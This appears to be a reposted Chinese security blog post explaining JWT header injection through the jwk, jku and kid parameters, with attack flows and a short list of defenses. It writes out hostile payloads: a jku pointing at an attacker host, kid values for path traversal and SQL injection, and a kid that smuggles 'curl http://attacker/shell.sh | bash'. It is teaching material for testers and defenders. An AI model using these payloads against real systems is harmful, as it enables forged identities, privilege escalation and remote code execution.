文章总结: 本文解析JWTHeader参数注入风险,涵盖jwk、jku及kid参数攻击原理。攻击者可通过注入自签名公钥或操纵kid导致路径遍历、命令注入,从而绕过验证实现提权或RCE。建议严格白名单校验、禁止Header加载公钥并过滤kid输入,确保仅使用本地可信密钥库进行防御。 综合评分: 91 文章分类: 漏洞分析,WEB安全,渗透测试
JWT Header 参数注入 | jwk | jku | kid
haidragon haidragon
安全狗的自我修养
2026年1月20日 16:29 湖南
官网:http://securitytech.cc
1. JWT 与 Header
JWT 就像是网站或应用用来证明身份的数字身份证。 这个“身份证”里有一个 Header(头部)。官方规范里,真正必需的只有一个字段:
alg(指定签名算法)
但在真实系统中,Header 往往还包含很多可选字段。
2. 有风险的可选参数
攻击者可能控制或影响的参数包括:
- jwk(JSON Web Key) 允许在 JWT Header 中直接携带公钥。
- jku(JSON Web Key Set URL) 提供一个 URL,服务器会去这个地址下载公钥集合。
- kid(Key ID) 用来告诉服务器在多把密钥中选择哪一把。
它们的本质作用是:
告诉服务器:“用这把钥匙来验证我的签名。”
3. 漏洞本质
正常情况下,服务器应该只信任自己白名单中的密钥。
问题出在: 👉 有些服务器错误地信任了 JWT Header 里提供的信息。
比如:
- 服务端直接使用
jwk中的公钥 - 或按照
jku去拉取远程密钥 - 而不是使用本地可信密钥库
攻击者可以:
- 自己生成一对密钥。
- 用私钥签名 JWT。
- 把公钥塞进
jwk。 - 服务端居然用攻击者给的钥匙验证。
结果:
伪造的 JWT 被当成合法 JWT。
4. 使用 jwk 的攻击流程
- 攻击者生成 RSA 密钥对。
- 构造 JWT,把用户改成
admin。 - 用私钥签名。
- 在 Header 里加入
jwk公钥。 - 发送给服务器。
- 服务器错误使用 jwk 校验。
- 校验通过,权限提升成功。
5. 攻击工具
可以手工做,也可以用 Burp 的 JWT Editor 插件:
- 一键生成密钥。
- 修改 payload。
- 自动嵌入 jwk。
- 自动重新签名。
正常流程(应该这样)
- 服务端有可信 key 列表。
- 收到 JWT,读取 kid。
- 在本地查 kid。
- 用对应公钥验证。
- 成功才放行。
漏洞流程(错误实现)
- 收到 JWT,含 jwk + kid。
- ❌ 服务端优先用 jwk。
- 使用攻击者公钥。
- 验证通过。
- 攻击者控制验证密钥。
6. 什么是 JWK
JWK 本质是一个 JSON 格式的密钥描述:
{
"kty":"RSA",
"kid":"my-key-123",
"n":"base64url-modulus",
"e":"AQAB"
}
字段含义:
kty:算法类型kid:密钥 IDn:RSA 模数e:指数(通常 65537)
7. jku 注入原理
jku 是一个 URL,服务器会访问它下载 JWKS。
如果没有严格白名单,攻击者可以:
- 自己生成密钥。
- 搭建 JWKS 服务。
- 在 JWT Header 中设置:
"jku":"https://attacker.com/jwks.json"
- 用私钥签名。
- 服务端拉取攻击者 JWKS。
- 验证成功。
结果:
任意伪造身份。
jku 还能造成什么
- SSRF
- 内网探测
- 云元数据访问
- DNS 外带
8. kid 参数攻击
A. kid 当作文件路径
服务端代码示例:
/keys/ + kid
攻击者设置:
"kid":"../../../../../../dev/null"
然后配合 HS256 空密钥签名即可绕过。
B. kid SQL 注入
SELECT key FROM signing_keys WHERE kid='$kid'
Payload:
"kid":"abc' UNION SELECT 'weaksecret'--"
再用 HS256 + weaksecret 签名。
C. kid 命令执行(最危险)
有些系统直接把 kid 拼进 shell:
openssl dgst -verify /keys/{kid}
攻击 Header:
"kid":"pub.pem; curl http://attacker/shell.sh | bash #"
最终变成:
openssl ... /keys/pub.pem; curl http://attacker/shell.sh | bash
直接远程执行命令。
防御方式
- jku 必须严格白名单。
- 禁止跟随重定向。
- 禁止从 JWT 加载公钥。
- kid 不允许文件路径拼接。
- kid 不允许进入 SQL / shell。
- 始终只使用本地可信密钥库。
总结一句话
JWT 的 Header 不是元数据,而是攻击面。
如果服务端信任:
- jwk
- jku
- kid
攻击者就能:
✅ 伪造身份 ✅ 提权 ✅ SSRF ✅ 文件读取 ✅ 命令执行
如果你愿意,我可以再给你:
✅ JWT 常见漏洞利用清单 ✅ Burp JWT Editor 实战流程 ✅ 自动化 JWT 测试脚本 ✅ 企业级 JWT 防护设计
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《JWT Header 参数注入 | jwk | jku | kid》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论